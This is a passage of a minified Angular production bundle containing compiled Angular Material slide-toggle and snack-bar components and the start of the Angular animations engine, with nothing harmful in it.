this._checked},set:function(t){this._checked=(0,s.Ig)(t),this._changeDetectorRef.markForCheck()}},{key:"inputId",get:function(){return"".concat(this.id||this._uniqueId,"-input")}},{key:"ngAfterContentInit",value:function(){var t=this;this._focusMonitor.monitor(this._elementRef,!0).subscribe(function(e){"keyboard"===e||"program"===e?t._inputElement.nativeElement.focus():e||Promise.resolve().then(function(){return t._onTouched()})})}},{key:"ngOnDestroy",value:function(){this._focusMonitor.stopMonitoring(this._elementRef)}},{key:"_onChangeEvent",value:function(t){t.stopPropagation(),this.toggleChange.emit(),this.defaults.disableToggleValue?this._inputElement.nativeElement.checked=this.checked:(this.checked=this._inputElement.nativeElement.checked,this._emitChangeEvent())}},{key:"_onInputClick",value:function(t){t.stopPropagation()}},{key:"writeValue",value:function(t){this.checked=!!t}},{key:"registerOnChange",value:function(t){this._onChange=t}},{key:"registerOnTouched",value:function(t){this._onTouched=t}},{key:"setDisabledState",value:function(t){this.disabled=t,this._changeDetectorRef.markForCheck()}},{key:"focus",value:function(t,e){e?this._focusMonitor.focusVia(this._inputElement,e,t):this._inputElement.nativeElement.focus(t)}},{key:"toggle",value:function(){this.checked=!this.checked,this._onChange(this.checked)}},{key:"_emitChangeEvent",value:function(){this._onChange(this.checked),this.change.emit(new C(this,this.checked))}},{key:"_onLabelTextChange",value:function(){this._changeDetectorRef.detectChanges()}}]),n}(x)).\u0275fac=function(t){return new(t||i)(o.Y36(o.SBq),o.Y36(h.tE),o.Y36(o.sBO),o.$8M("tabindex"),o.Y36(b),o.Y36(c.Qb,8))},i.\u0275cmp=o.Xpm({type:i,selectors:[["mat-slide-toggle"]],viewQuery:function(t,e){var n;1&t&&(o.Gf(d,5),o.Gf(p,5),o.Gf(v,5)),2&t&&(o.iGM(n=o.CRH())&&(e._thumbEl=n.first),o.iGM(n=o.CRH())&&(e._thumbBarEl=n.first),o.iGM(n=o.CRH())&&(e._inputElement=n.first))},hostAttrs:[1,"mat-slide-toggle"],hostVars:12,hostBindings:function(t,e){2&t&&(o.Ikx("id",e.id),o.uIk("tabindex",e.disabled?null:-1)("aria-label",null)("aria-labelledby",null),o.ekj("mat-checked",e.checked)("mat-disabled",e.disabled)("mat-slide-toggle-label-before","before"==e.labelPosition)("_mat-animation-noopable",e._noopAnimations))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex",name:"name",id:"id",labelPosition:"labelPosition",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],required:"required",checked:"checked",ariaDescribedby:["aria-describedby","ariaDescribedby"]},outputs:{change:"change",toggleChange:"toggleChange"},exportAs:["matSlideToggle"],features:[o._Bn([w]),o.qOj],ngContentSelectors:g,decls:16,vars:20,consts:[[1,"mat-slide-toggle-label"],["label",""],[1,"mat-slide-toggle-bar"],["toggleBar",""],["type","checkbox","role","switch",1,"mat-slide-toggle-input","cdk-visually-hidden",3,"id","required","tabIndex","checked","disabled","change","click"],["input",""],[1,"mat-slide-toggle-thumb-container"],["thumbContainer",""],[1,"mat-slide-toggle-thumb"],["mat-ripple","",1,"mat-slide-toggle-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-slide-toggle-persistent-ripple"],[1,"mat-slide-toggle-content",3,"cdkObserveContent"],["labelContent",""],[2,"display","none"]],template:function(t,e){if(1&t&&(o.F$t(),o.TgZ(0,"label",0,1),o.TgZ(2,"div",2,3),o.TgZ(4,"input",4,5),o.NdJ("change",function(t){return e._onChangeEvent(t)})("click",function(t){return e._onInputClick(t)}),o.qZA(),o.TgZ(6,"div",6,7),o._UZ(8,"div",8),o.TgZ(9,"div",9),o._UZ(10,"div",10),o.qZA(),o.qZA(),o.qZA(),o.TgZ(11,"span",11,12),o.NdJ("cdkObserveContent",function(){return e._onLabelTextChange()}),o.TgZ(13,"span",13),o._uU(14,"\xa0"),o.qZA(),o.Hsn(15),o.qZA(),o.qZA()),2&t){var n=o.MAs(1),i=o.MAs(12);o.uIk("for",e.inputId),o.xp6(2),o.ekj("mat-slide-toggle-bar-no-side-margin",!i.textContent||!i.textContent.trim()),o.xp6(2),o.Q6J("id",e.inputId)("required",e.required)("tabIndex",e.tabIndex)("checked",e.checked)("disabled",e.disabled),o.uIk("name",e.name)("aria-checked",e.checked.toString())("aria-label",e.ariaLabel)("aria-labelledby",e.ariaLabelledby)("aria-describedby",e.ariaDescribedby),o.xp6(5),o.Q6J("matRippleTrigger",n)("matRippleDisabled",e.disableRipple||e.disabled)("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",o.VKq(18,m,e._noopAnimations?0:150))}},directives:[a.wG,r.wD],styles:[".mat-slide-toggle{display:inline-block;height:24px;max-width:100%;line-height:24px;white-space:nowrap;outline:none;-webkit-tap-highlight-color:transparent}.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(16px, 0, 0)}[dir=rtl] .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(-16px, 0, 0)}.mat-slide-toggle.mat-disabled{opacity:.38}.mat-slide-toggle.mat-disabled .mat-slide-toggle-label,.mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb-container{cursor:default}.mat-slide-toggle-label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:flex;flex:1;flex-direction:row;align-items:center;height:inherit;cursor:pointer}.mat-slide-toggle-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-slide-toggle-label-before .mat-slide-toggle-label{order:1}.mat-slide-toggle-label-before .mat-slide-toggle-bar{order:2}[dir=rtl] .mat-slide-toggle-label-before .mat-slide-toggle-bar,.mat-slide-toggle-bar{margin-right:8px;margin-left:0}[dir=rtl] .mat-slide-toggle-bar,.mat-slide-toggle-label-before .mat-slide-toggle-bar{margin-left:8px;margin-right:0}.mat-slide-toggle-bar-no-side-margin{margin-left:0;margin-right:0}.mat-slide-toggle-thumb-container{position:absolute;z-index:1;width:20px;height:20px;top:-3px;left:0;transform:translate3d(0, 0, 0);transition:all 80ms linear;transition-property:transform}._mat-animation-noopable .mat-slide-toggle-thumb-container{transition:none}[dir=rtl] .mat-slide-toggle-thumb-container{left:auto;right:0}.mat-slide-toggle-thumb{height:20px;width:20px;border-radius:50%}.mat-slide-toggle-bar{position:relative;width:36px;height:14px;flex-shrink:0;border-radius:8px}.mat-slide-toggle-input{bottom:0;left:10px}[dir=rtl] .mat-slide-toggle-input{left:auto;right:10px}.mat-slide-toggle-bar,.mat-slide-toggle-thumb{transition:all 80ms linear;transition-property:background-color;transition-delay:50ms}._mat-animation-noopable .mat-slide-toggle-bar,._mat-animation-noopable .mat-slide-toggle-thumb{transition:none}.mat-slide-toggle .mat-slide-toggle-ripple{position:absolute;top:calc(50% - 20px);left:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-slide-toggle .mat-slide-toggle-ripple .mat-ripple-element:not(.mat-slide-toggle-persistent-ripple){opacity:.12}.mat-slide-toggle-persistent-ripple{width:100%;height:100%;transform:none}.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:.04}.mat-slide-toggle:not(.mat-disabled).cdk-keyboard-focused .mat-slide-toggle-persistent-ripple{opacity:.12}.mat-slide-toggle-persistent-ripple,.mat-slide-toggle.mat-disabled .mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:0}@media(hover: none){.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{display:none}}.cdk-high-contrast-active .mat-slide-toggle-thumb,.cdk-high-contrast-active .mat-slide-toggle-bar{border:1px solid}.cdk-high-contrast-active .mat-slide-toggle.cdk-keyboard-focused .mat-slide-toggle-bar{outline:2px dotted;outline-offset:5px}\n"],encapsulation:2,changeDetection:0}),i),E=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({}),t}(),A=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({imports:[[E,a.si,a.BQ,r.Q8],E,a.BQ]}),t}()},68456:function(t,e,n){"use strict";n.d(e,{Ve:function(){return R},ux:function(){return P},ZX:function(){return O}});var i=n(6199),r=n(40912),o=n(54364),a=n(2316),s=n(24298),u=n(70781),c=n(79441),h=n(53466),d=n(22663),p=n(97175),v=n(51606),m=n(66883),g=n(36145);function b(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"div",1),a.TgZ(1,"button",2),a.NdJ("click",function(){return a.CHM(n),a.oxw().action()}),a._uU(2),a.qZA(),a.qZA()}if(2&t){var i=a.oxw();a.xp6(2),a.Oqu(i.data.action)}}function k(t,e){}var w,C=new a.OlP("MatSnackBarData"),x=function t(){_(this,t),this.politeness="assertive",this.announcementMessage="",this.duration=0,this.data=null,this.horizontalPosition="center",this.verticalPosition="bottom"},S=Math.pow(2,31)-1,E=function(){function t(e,n){var i=this;_(this,t),this._overlayRef=n,this._afterDismissed=new c.xQ,this._afterOpened=new c.xQ,this._onAction=new c.xQ,this._dismissedByAction=!1,this.containerInstance=e,this.onAction().subscribe(function(){return i.dismiss()}),e._onExit.subscribe(function(){return i._finishDismiss()})}return y(t,[{key:"dismiss",value:function(){this._afterDismissed.closed||this.containerInstance.exit(),clearTimeout(this._durationTimeoutId)}},{key:"dismissWithAction",value:function(){this._onAction.closed||(this._dismissedByAction=!0,this._onAction.next(),this._onAction.complete()),clearTimeout(this._durationTimeoutId)}},{key:"closeWithAction",value:function(){this.dismissWithAction()}},{key:"_dismissAfter",value:function(t){var e=this;this._durationTimeoutId=setTimeout(function(){return e.dismiss()},Math.min(t,S))}},{key:"_open",value:function(){this._afterOpened.closed||(this._afterOpened.next(),this._afterOpened.complete())}},{key:"_finishDismiss",value:function(){this._overlayRef.dispose(),this._onAction.closed||this._onAction.complete(),this._afterDismissed.next({dismissedByAction:this._dismissedByAction}),this._afterDismissed.complete(),this._dismissedByAction=!1}},{key:"afterDismissed",value:function(){return this._afterDismissed}},{key:"afterOpened",value:function(){return this.containerInstance._onEnter}},{key:"onAction",value:function(){return this._onAction}}]),t}(),A=((w=function(){function t(e,n){_(this,t),this.snackBarRef=e,this.data=n}return y(t,[{key:"action",value:function(){this.snackBarRef.dismissWithAction()}},{key:"hasAction",get:function(){return!!this.data.action}}]),t}()).\u0275fac=function(t){return new(t||w)(a.Y36(E),a.Y36(C))},w.\u0275cmp=a.Xpm({type:w,selectors:[["simple-snack-bar"]],hostAttrs:[1,"mat-simple-snackbar"],decls:3,vars:2,consts:[["class","mat-simple-snackbar-action",4,"ngIf"],[1,"mat-simple-snackbar-action"],["mat-button","",3,"click"]],template:function(t,e){1&t&&(a.TgZ(0,"span"),a._uU(1),a.qZA(),a.YNc(2,b,3,1,"div",0)),2&t&&(a.xp6(1),a.Oqu(e.data.message),a.xp6(1),a.Q6J("ngIf",e.hasAction))},directives:[o.O5,u.lW],styles:[".mat-simple-snackbar{display:flex;justify-content:space-between;align-items:center;line-height:20px;opacity:1}.mat-simple-snackbar-action{flex-shrink:0;margin:-8px -8px -8px 8px}.mat-simple-snackbar-action button{max-height:36px;min-width:0}[dir=rtl] .mat-simple-snackbar-action{margin-left:-8px;margin-right:8px}\n"],encapsulation:2,changeDetection:0}),w),T={snackBarState:(0,p.X$)("state",[(0,p.SB)("void, hidden",(0,p.oB)({transform:"scale(0.8)",opacity:0})),(0,p.SB)("visible",(0,p.oB)({transform:"scale(1)",opacity:1})),(0,p.eR)("* => visible",(0,p.jt)("150ms cubic-bezier(0, 0, 0.2, 1)")),(0,p.eR)("* => void, * => hidden",(0,p.jt)("75ms cubic-bezier(0.4, 0.0, 1, 1)",(0,p.oB)({opacity:0})))])},I=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this))._ngZone=t,s._elementRef=i,s._changeDetectorRef=r,s._platform=o,s.snackBarConfig=a,s._announceDelay=150,s._destroyed=!1,s._onAnnounce=new c.xQ,s._onExit=new c.xQ,s._onEnter=new c.xQ,s._animationState="void",s.attachDomPortal=function(t){return s._assertNotAttached(),s._applySnackBarClasses(),s._portalOutlet.attachDomPortal(t)},s._live="assertive"!==a.politeness||a.announcementMessage?"off"===a.politeness?"off":"polite":"assertive",s._platform.FIREFOX&&("polite"===s._live&&(s._role="status"),"assertive"===s._live&&(s._role="alert")),s}return y(n,[{key:"attachComponentPortal",value:function(t){return this._assertNotAttached(),this._applySnackBarClasses(),this._portalOutlet.attachComponentPortal(t)}},{key:"attachTemplatePortal",value:function(t){return this._assertNotAttached(),this._applySnackBarClasses(),this._portalOutlet.attachTemplatePortal(t)}},{key:"onAnimationEnd",value:function(t){var e=t.fromState,n=t.toState;if(("void"===n&&"void"!==e||"hidden"===n)&&this._completeExit(),"visible"===n){var i=this._onEnter;this._ngZone.run(function(){i.next(),i.complete()})}}},{key:"enter",value:function(){this._destroyed||(this._animationState="visible",this._changeDetectorRef.detectChanges(),this._screenReaderAnnounce())}},{key:"exit",value:function(){return this._animationState="hidden",this._elementRef.nativeElement.setAttribute("mat-exit",""),clearTimeout(this._announceTimeoutId),this._onExit}},{key:"ngOnDestroy",value:function(){this._destroyed=!0,this._completeExit()}},{key:"_completeExit",value:function(){var t=this;this._ngZone.onMicrotaskEmpty.pipe((0,h.q)(1)).subscribe(function(){t._onExit.next(),t._onExit.complete()})}},{key:"_applySnackBarClasses",value:function(){var t=this._elementRef.nativeElement,e=this.snackBarConfig.panelClass;e&&(Array.isArray(e)?e.forEach(function(e){return t.classList.add(e)}):t.classList.add(e)),"center"===this.snackBarConfig.horizontalPosition&&t.classList.add("mat-snack-bar-center"),"top"===this.snackBarConfig.verticalPosition&&t.classList.add("mat-snack-bar-top")}},{key:"_assertNotAttached",value:function(){this._portalOutlet.hasAttached()}},{key:"_screenReaderAnnounce",value:function(){var t=this;this._announceTimeoutId||this._ngZone.runOutsideAngular(function(){t._announceTimeoutId=setTimeout(function(){var e=t._elementRef.nativeElement.querySelector("[aria-hidden]"),n=t._elementRef.nativeElement.querySelector("[aria-live]");if(e&&n){var i=null;t._platform.isBrowser&&document.activeElement instanceof HTMLElement&&e.contains(document.activeElement)&&(i=document.activeElement),e.removeAttribute("aria-hidden"),n.appendChild(e),null==i||i.focus(),t._onAnnounce.next(),t._onAnnounce.complete()}},t._announceDelay)})}}]),n}(r.en);return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.R0b),a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(g.t4),a.Y36(x))},t.\u0275cmp=a.Xpm({type:t,selectors:[["snack-bar-container"]],viewQuery:function(t,e){var n;(1&t&&a.Gf(r.Pl,7),2&t)&&(a.iGM(n=a.CRH())&&(e._portalOutlet=n.first))},hostAttrs:[1,"mat-snack-bar-container"],hostVars:1,hostBindings:function(t,e){1&t&&a.WFA("@state.done",function(t){return e.onAnimationEnd(t)}),2&t&&a.d8E("@state",e._animationState)},features:[a.qOj],decls:3,vars:2,consts:[["aria-hidden","true"],["cdkPortalOutlet",""]],template:function(t,e){1&t&&(a.TgZ(0,"div",0),a.YNc(1,k,0,0,"ng-template",1),a.qZA(),a._UZ(2,"div")),2&t&&(a.xp6(2),a.uIk("aria-live",e._live)("role",e._role))},directives:[r.Pl],styles:[".mat-snack-bar-container{border-radius:4px;box-sizing:border-box;display:block;margin:24px;max-width:33vw;min-width:344px;padding:14px 16px;min-height:48px;transform-origin:center}.cdk-high-contrast-active .mat-snack-bar-container{border:solid 1px}.mat-snack-bar-handset{width:100%}.mat-snack-bar-handset .mat-snack-bar-container{margin:8px;max-width:100%;min-width:0;width:100%}\n"],encapsulation:2,data:{animation:[T.snackBarState]}}),t}(),O=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[i.U8,r.eL,o.ez,u.ot,s.BQ],s.BQ]}),t}(),R=new a.OlP("mat-snack-bar-default-options",{providedIn:"root",factory:function(){return new x}}),P=function(){var t=function(){function t(e,n,i,r,o,a){_(this,t),this._overlay=e,this._live=n,this._injector=i,this._breakpointObserver=r,this._parentSnackBar=o,this._defaultConfig=a,this._snackBarRefAtThisLevel=null,this.simpleSnackBarComponent=A,this.snackBarContainerComponent=I,this.handsetCssClass="mat-snack-bar-handset"}return y(t,[{key:"_openedSnackBarRef",get:function(){var t=this._parentSnackBar;return t?t._openedSnackBarRef:this._snackBarRefAtThisLevel},set:function(t){this._parentSnackBar?this._parentSnackBar._openedSnackBarRef=t:this._snackBarRefAtThisLevel=t}},{key:"openFromComponent",value:function(t,e){return this._attach(t,e)}},{key:"openFromTemplate",value:function(t,e){return this._attach(t,e)}},{key:"open",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,i=Object.assign(Object.assign({},this._defaultConfig),n);return i.data={message:t,action:e},i.announcementMessage===t&&(i.announcementMessage=void 0),this.openFromComponent(this.simpleSnackBarComponent,i)}},{key:"dismiss",value:function(){this._openedSnackBarRef&&this._openedSnackBarRef.dismiss()}},{key:"ngOnDestroy",value:function(){this._snackBarRefAtThisLevel&&this._snackBarRefAtThisLevel.dismiss()}},{key:"_attachSnackBarContainer",value:function(t,e){var n=a.zs3.create({parent:e&&e.viewContainerRef&&e.viewContainerRef.injector||this._injector,providers:[{provide:x,useValue:e}]}),i=new r.C5(this.snackBarContainerComponent,e.viewContainerRef,n),o=t.attach(i);return o.instance.snackBarConfig=e,o.instance}},{key:"_attach",value:function(t,e){var n=this,i=Object.assign(Object.assign(Object.assign({},new x),this._defaultConfig),e),o=this._createOverlay(i),s=this._attachSnackBarContainer(o,i),u=new E(s,o);if(t instanceof a.Rgc){var c=new r.UE(t,null,{$implicit:i.data,snackBarRef:u});u.instance=s.attachTemplatePortal(c)}else{var l=this._createInjector(i,u),h=new r.C5(t,void 0,l),f=s.attachComponentPortal(h);u.instance=f.instance}return this._breakpointObserver.observe(m.u3.HandsetPortrait).pipe((0,d.R)(o.detachments())).subscribe(function(t){var e=o.overlayElement.classList;t.matches?e.add(n.handsetCssClass):e.remove(n.handsetCssClass)}),i.announcementMessage&&s._onAnnounce.subscribe(function(){n._live.announce(i.announcementMessage,i.politeness)}),this._animateSnackBar(u,i),this._openedSnackBarRef=u,this._openedSnackBarRef}},{key:"_animateSnackBar",value:function(t,e){var n=this;t.afterDismissed().subscribe(function(){n._openedSnackBarRef==t&&(n._openedSnackBarRef=null),e.announcementMessage&&n._live.clear()}),this._openedSnackBarRef?(this._openedSnackBarRef.afterDismissed().subscribe(function(){t.containerInstance.enter()}),this._openedSnackBarRef.dismiss()):t.containerInstance.enter(),e.duration&&e.duration>0&&t.afterOpened().subscribe(function(){return t._dismissAfter(e.duration)})}},{key:"_createOverlay",value:function(t){var e=new i.X_;e.direction=t.direction;var n=this._overlay.position().global(),r="rtl"===t.direction,o="left"===t.horizontalPosition||"start"===t.horizontalPosition&&!r||"end"===t.horizontalPosition&&r,a=!o&&"center"!==t.horizontalPosition;return o?n.left("0"):a?n.right("0"):n.centerHorizontally(),"top"===t.verticalPosition?n.top("0"):n.bottom("0"),e.positionStrategy=n,this._overlay.create(e)}},{key:"_createInjector",value:function(t,e){return a.zs3.create({parent:t&&t.viewContainerRef&&t.viewContainerRef.injector||this._injector,providers:[{provide:E,useValue:e},{provide:C,useValue:t.data}]})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(i.aV),a.LFG(v.Kd),a.LFG(a.zs3),a.LFG(m.Yg),a.LFG(t,12),a.LFG(R))},t.\u0275prov=a.Yz7({factory:function(){return new t(a.LFG(i.aV),a.LFG(v.Kd),a.LFG(a.gxx),a.LFG(m.Yg),a.LFG(t,12),a.LFG(R))},token:t,providedIn:O}),t}()},71918:function(t,e,n){"use strict";n.d(e,{Qb:function(){return Ge},PW:function(){return Ze}});var a=n(2316),s=n(71570),c=n(97175);function h(){return"undefined"!=typeof window&&void 0!==window.document}function d(){return"undefined"!=typeof process&&"[object process]"==={}.toString.call(process)}function p(t){switch(t.length){case 0:return new c.ZN;case 1:return t[0];default:return new c.ZE(t)}}function v(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{},o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{},a=[],s=[],u=-1,l=null;if(i.forEach(function(t){var n=t.offset,i=n==u,h=i&&l||{};Object.keys(t).forEach(function(n){var i=n,s=t[n];if("offset"!==n)switch(i=e.normalizePropertyName(i,a),s){case c.k1:s=r[n];break;case c.l3:s=o[n];break;default:s=e.normalizeStyleValue(n,i,s,a)}h[i]=s}),i||s.push(h),l=h,u=n}),a.length){var h="\n - ";throw new Error("Unable to animate due to the following errors:".concat(h).concat(a.join(h)))}return s}function g(t,e,n,i){switch(e){case"start":t.onStart(function(){return i(n&&b(n,"start",t))});break;case"done":t.onDone(function(){return i(n&&b(n,"done",t))});break;case"destroy":t.onDestroy(function(){return i(n&&b(n,"destroy",t))})}}function b(t,e,n){var i=n.totalTime,r=k(t.element,t.triggerName,t.fromState,t.toState,e||t.phaseName,null==i?t.totalTime:i,!!n.disabled),o=t._data;return null!=o&&(r._data=o),r}function k(t,e,n,i){var r=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"",o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,a=arguments.length>6?arguments[6]:void 0;return{element:t,triggerName:e,fromState:n,toState:i,phaseName:r,totalTime:o,disabled:!!a}}function w(t,e,n){var i;return t instanceof Map?(i=t.get(e))||t.set(e,i=n):(i=t[e])||(i=t[e]=n),i}function C(t){var e=t.indexOf(":");return[t.substring(1,e),t.substr(e+1)]}var x=function(t,e){return!1},S=function(t,e){return!1},E=function(t,e,n){return[]},A=d();(A||"undefined"!=typeof Element)&&(x=h()?function(t,e){for(;e&&e!==document.documentElement;){if(e===t)return!0;e=e.parentNode||e.host}return!1}:function(t,e){return t.contains(e)},S=function(){if(A||Element.prototype.matches)return function(t,e){return t.matches(e)};var t=Element.prototype,e=t.matchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector||t.webkitMatchesSelector;return e?function(t,n){return e.apply(t,[n])}:S}(),E=function(t,e,n){var i=[];if(n)for(var r=t.querySelectorAll(e),o=0;o<r.length;o++)i.push(r[o]);else{var a=t.querySelector(e);a&&i.push(a)}return i});var T=null,I=!1;function O(t){T||(T=("undefined"!=typeof document?document.body:null)||{},I=!!T.style&&"WebkitAppearance"in T.style);var e=!0;return T.style&&!function(t){return"ebkit"==t.substring(1,6)}(t)&&(!(e=t in T.style)&&I&&(e="Webkit"+t.charAt(0).toUpperCase()+t.substr(1)in T.style)),e}var R=S,P=x,N=E;function D(t){var e={};return Object.keys(t).forEach(function(n){var i=n.replace(/([a-z])([A-Z])/g,"$1-$2");e[i]=t[n]}),e}var L,M=((L=function(){function t(){_(this,t)}return y(t,[{key:"validateStyleProperty",value:function(t){return O(t)}},{key:"matchesElement",value:function(t,e){return R(t,e)}},{key:"containsElement",value:function(t,e){return P(t,e)}},{key:"query",value:function(t,e,n){return N(t,e,n)}},{key:"computeStyle",value:function(t,e,n){return n||""}},{key:"animate",value:function(t,e,n,i,r){return new c.ZN(n,i)}}]),t}()).\u0275fac=function(t){return new(t||L)},L.\u0275prov=a.Yz7({token:L,factory:L.\u0275fac}),L),F=function(){var t=function t(){_(this,t)};return t.NOOP=new M,t}(),U="ng-enter",B="ng-leave",j="ng-trigger",H=".ng-trigger",V="ng-animating",G=".ng-animating";function Y(t){if("number"==typeof t)return t;var e=t.match(/^(-?[\.\d]+)(m?s)/);return!e||e.length<2?0:q(parseFloat(e[1]),e[2])}function q(t,e){switch(e){case"s":return 1e3*t;default:return t}}function z(t,e,n){return t.hasOwnProperty("duration")?t:function(t,e,n){var i,r=0,o="";if("string"==typeof t){var a=t.match(/^(-?[\.\d]+)(m?s)(?:\s+(-?[\.\d]+)(m?s))?(?:\s+([-a-z]+(?:\(.+?\))?))?$/i);if(null===a)return e.push('The provided timing value "'.concat(t,'" is invalid.')),{duration:0,delay:0,easing:""};i=q(parseFloat(a[1]),a[2]);var s=a[3];null!=s&&(r=q(parseFloat(s),a[4]));var u=a[5];u&&(o=u)}else i=t;if(!n){var c=!1,l=e.length;i<0&&(e.push("Duration values below 0 are not allowed for this animation step."),c=!0),r<0&&(e.push("Delay values below 0 are not allowed for this animation step."),c=!0),c&&e.splice(l,0,'The provided timing value "'.concat(t,'" is invalid.'))}return{duration:i,delay:r,easing:o}}(t,e,n)}function Z(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return Object.keys(t).forEach(function(n){e[n]=t[n]}),e}function W(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(e)for(var i in t)n[i]=t[i];else Z(t,n);return n}function J(t,e,n){return n?e+":"+n+";":""}function Q(t){for(var e="",n=0;n<t.style.length;n++){var i=t.style.item(n);e+=J(0,i,t.style.getPropertyValue(i))}for(var r in t.style)t.style.hasOwnProperty(r)&&!r.startsWith("_")&&(e+=J(0,at(r),t.style[r]));t.setAttribute("style",e)}function K(t,e,n){t.style&&(Object.keys(e).forEach(function(i){var r=ot(i);n&&!n.hasOwnProperty(i)&&(n[i]=t.style[r]),t.style[r]=e[i]}),d()&&Q(t))}function X(t,e){t.style&&(Object.keys(e).forEach(function(e){var n=ot(e);t.style[n]=""}),d()&&Q(t))}function $(t){return Array.isArray(t)?1==t.length?t[0]:(0,c.vP)(t):t}var tt=new RegExp("{{\\s*(.+?)\\s*}}","g");function et(t){var e=[];if("string"==typeof t){for(var n;n=tt.exec(t);)e.push(n[1]);tt.lastIndex=0}return e}function nt(t,e,n){var i=t.toString(),r=i.replace(tt,function(t,i){var r=e[i];return e.hasOwnProperty(i)||(n.push("Please provide a value for the animation param ".concat(i)),r=""),r.toString()});return r==i?t:r}function it(t){for(var e=[],n=t.next();!n.done;)e.push(n.value),n=t.next();return e}var rt=/-+([a-z0-9])/g;function ot(t){return t.replace(rt,function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return e[1].toUpperCase()})}function at(t){return t.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function st(t,e){return 0===t||0===e}function ut(t,e,n){var i=Object.keys(n);if(i.length&&e.length){var r=e[0],o=[];if(i.forEach(function(t){r.hasOwnProperty(t)||o.push(t),r[t]=n[t]}),o.length)for(var a=function(){var n=e[s];o.forEach(function(e){n[e]=lt(t,e)})},s=1;s<e.length;s++)a()}return e}function ct(t,e,n){switch(e.type){case 7:return t.visitTrigger(e,n);case 0:return t.visitState(e,n);case 1:return t.visitTransition(e,n);case 2:return t.visitSequence(e,n);case 3:return t.visitGroup(e,n);case 4:return t.visitAnimate(e,n);case 5:return t.visitKeyframes(e,n);case 6:return t.visitStyle(e,n);case 8:return t.visitReference(e,n);case 9:return t.visitAnimateChild(e,n);case 10:return t.visitAnimateRef(e,n);case 11:return t.visitQuery(e,n);case 12:return t.visitStagger(e,n);default:throw new Error("Unable to resolve animation metadata node #".concat(e.type))}}function lt(t,e){return window.getComputedStyle(t)[e]}function ht(t,e){var n=[];return"string"==typeof t?t.split(/\s*,\s*/).forEach(function(t){return function(t,e,n){if(":"==t[0]){var i=function(t,e){switch(t){case":enter":return"void => *";case":leave":return"* => void";case":increment":return function(t,e){return parseFloat(e)>parseFloat(t)};case":decrement":return function(t,e){return parseFloat(e)<parseFloat(t)};default:return e.push('The transition alias value "'.concat(t,'" is not supported')),"* => *"}}(t,n);if("function"==typeof i)return void e.push(i);t=i}var r=t.match(/^(\*|[-\w]+)\s*(<?[=-]>)\s*(\*|[-\w]+)$/);if(null==r||r.length<4)return n.push('The provided transition expression "'.concat(t,'" is not supported')),e;var o=r[1],a=r[2],s=r[3];e.push(pt(o,s)),"<"==a[0]&&("*"!=o||"*"!=s)&&e.push(pt(s,o))}(t,n,e)}):n.push(t),n}var ft=new Set(["true","1"]),dt=new Set(["false","0"]);function pt(t,e){var n=ft.has(t)||dt.has(t),i=ft.has(e)||dt.has(e);return function(r,o){var a="*"==t||t==r,s="*"==e||e==o;return!a&&n&&"boolean"==typeof r&&(a=r?ft.has(t):dt.has(t)),!s&&i&&"boolean"==typeof o&&(s=o?ft.has(e):dt.has(e)),a&&s}}var vt=new RegExp("s*:selfs*,?","g");function mt(t,e,n){return new gt(t).build(e,n)}var gt=function(){function t(e){_(this,t),this._driver=e}return y(t,[{key:"build",value:function(t,e){var n=new yt(e);return this._resetContextStyleTimingState(n),ct(this,$(t),n)}},{key:"_resetContextStyleTimingState",value:function(t){t.currentQuerySelector="",t.collectedStyles={},t.collectedStyles[""]={},t.currentTime=0}},{key:"visitTrigger",value:function(t,e){var n=this,i=e.queryCount=0,r=e.depCount=0,o=[],a=[];return"@"==t.name.charAt(0)&&e.errors.push("animation triggers cannot be prefixed with an `@` sign (e.g. trigger('@foo', [...]))"),t.definitions.forEach(function(t){if(n._resetContextStyleTimingState(e),0==t.type){var s=t,u=s.name;u.toString().split(/\s*,\s*/).forEach(function(t){s.name=t,o.push(n.visitState(s,e))}),s.name=u}else if(1==t.type){var c=n.visitTransition(t,e);i+=c.queryCount,r+=c.depCount,a.push(c)}else e.errors.push("only state() and transition() definitions can sit inside of a trigger()")}),{type:7,name:t.name,states:o,transitions:a,queryCount:i,depCount:r,options:null}}},{key:"visitState",value:function(t,e){var n=this.visitStyle(t.styles,e),i=t.options&&t.options.params||null;if(n.containsDynamicStyles){var r=new 